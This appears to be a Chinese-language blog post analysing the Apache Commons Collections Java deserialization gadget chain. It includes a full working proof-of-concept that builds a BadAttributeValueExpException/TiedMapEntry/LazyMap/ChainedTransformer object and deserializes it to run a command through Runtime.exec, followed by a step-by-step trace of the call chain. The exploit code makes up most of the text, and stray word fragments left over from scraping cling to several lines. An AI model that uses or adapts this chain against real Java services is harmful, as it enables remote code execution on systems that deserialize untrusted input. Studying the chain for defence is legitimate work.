BadAttributeValueExceptionphp
package org.lain.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class Poc { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { //傳入Runtime類 new ConstantTransformer(Runtime.class), //反射調用getMethod方法,而後getMethod方法再反射調用getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射調用invoke方法,而後反射執行Runtime.getRuntime()方法,返回Runtime實例化對象 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射調用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //decorate實例化LazyMap類。 // LazyMap類的get方法調用了transform,transform能夠通過反射機制執行命令 TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TiedMapEntry中調用了toString方法->調用了map的get方法 BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的構造方法調用toString方法 // val是私有變量,因此利用下面方法進行賦值,val變量賦值爲TiedMapEntry的實例化對象, // 重寫了BadAttributeValueExpException的readObject方法的val變量賦值爲BadAttributeValueExpException類, // 就會調用BadAttributeValueExpException的val = valObj.toString();觸發上面的 Field valfield = poc.getClass().getDeclaredField("val"); // System.out.println(valfield); valfield.setAccessible(true); valfield.set(poc, entry); File f = new File("poc.txt"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(poc); out.close(); //從文件中反序列化obj對象 FileInputStream fis = new FileInputStream("poc.txt"); ObjectInputStream ois = new ObjectInputStream(fis); //恢復對象 ois.readObject(); ois.close(); } }
參考連接的第一篇文章主要寫的是poc怎麼構造的,思路很清晰了,這篇文章從逆向分析,看下怎麼反序列的。調用鏈以下:html
BadAttributeValueException.readObject -> TiedMapEntry.toString -> LazyMap.get -> ChainedTransformer.transformjava
執行BadAttributeValueException.readObject前,把val賦值爲TiedMapEntry這個類apache
Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, entry);
就會調用TiedMapEntry類的toString方法。 調用getValue又調用get方法 map賦值給lazyMapless
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
這就調用了lazyMap的get方法,factory賦值爲transformerChain,這就調用了transformerChain.transform(key); transform方法 參考連接: https://p0sec.net/index.php/archives/121/ https://lightless.me/archives/java-unserialization-apache-commons-collections.htmlurl